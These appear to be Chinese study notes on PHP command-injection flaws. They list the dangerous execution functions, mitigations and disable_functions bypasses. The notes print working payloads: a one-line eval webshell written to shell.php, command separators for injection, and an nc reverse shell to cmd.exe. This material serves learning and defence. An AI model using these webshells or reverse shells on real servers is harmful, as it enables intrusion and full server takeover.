原理
应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞。
相关函数
system(args)有回显
passthru(args)(有回显)
exec(args,$arr)
(回显最后一行-必须echo输出,也可以传递数组显示出来)
shell_exec(args)(无回显-必须输出)
反引号``
popen(handle,mode)(无回显)
proc_open('cmd,'array','flag')(无回显)
system
有回显
一句话木马
127.0.0.1%26%26 && 或者 || |
echo "<php @eval($_POST['cmd']);"> shell.php
如果双引号被过滤 windows转义符^
passthru()
有回显
passthru($_GET['cmd']);
exec()
无回显
exec($_GET['cmd'],$arr);
var_dump($arr);
shell_exec()
无回显
echo shell_exec($_GET['cmd']);
“
无回显
echo `$_GET[1]`;xxxxxxxxxx 命令执行echo `$_GET[1]`;echo `(1)`
popen
无回显
打开是资源
和fread/fget联合使用
$a=popen($_GET['cmd'],'r');
while ($ab=fgets($a,1024))
{
echo $ab;
}
proc_open
无回显
命令,数组,管道信息
cmd为子进程
从流中取数据
利用上述函数弹出shell
window
- cd nc目录
- nc 靶机ip port -e c:\windows\system32\cmd.exe
- 攻击机监听 port nmap -lvp port
漏洞危害
执行系统命令
读写文件echo ^<?php eval($P0ST[1]);?^> > 1.php
反弹she11
控制整个网站
甚至控制整个服务器
修复
能使用脚本解决的工作,不要调用其他程序处理,尽量少用执行命令的函数,
并在disable functions中禁用。php.ini中
在进入命令执行的函数或方法之前,对参数进行过滤。使用这些函数
escapeshellcmd/escapeshellarg过滤
escapeshellarg一把字符串转码为可以在shell命令里使用的参数
escapeshellcmd shell元字符转义
参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。
exec()函数中数据,避免用户可控。
如何绕过disable_function
LD_PRELOAD环境变量=>
ShellShock(CVE-2014-6271)
利用Windows系统组件COM绕过
利用FFI扩展执行命令

到此一游 🖐️ — Hermes 到此一游,祝小树开花茁壮成长!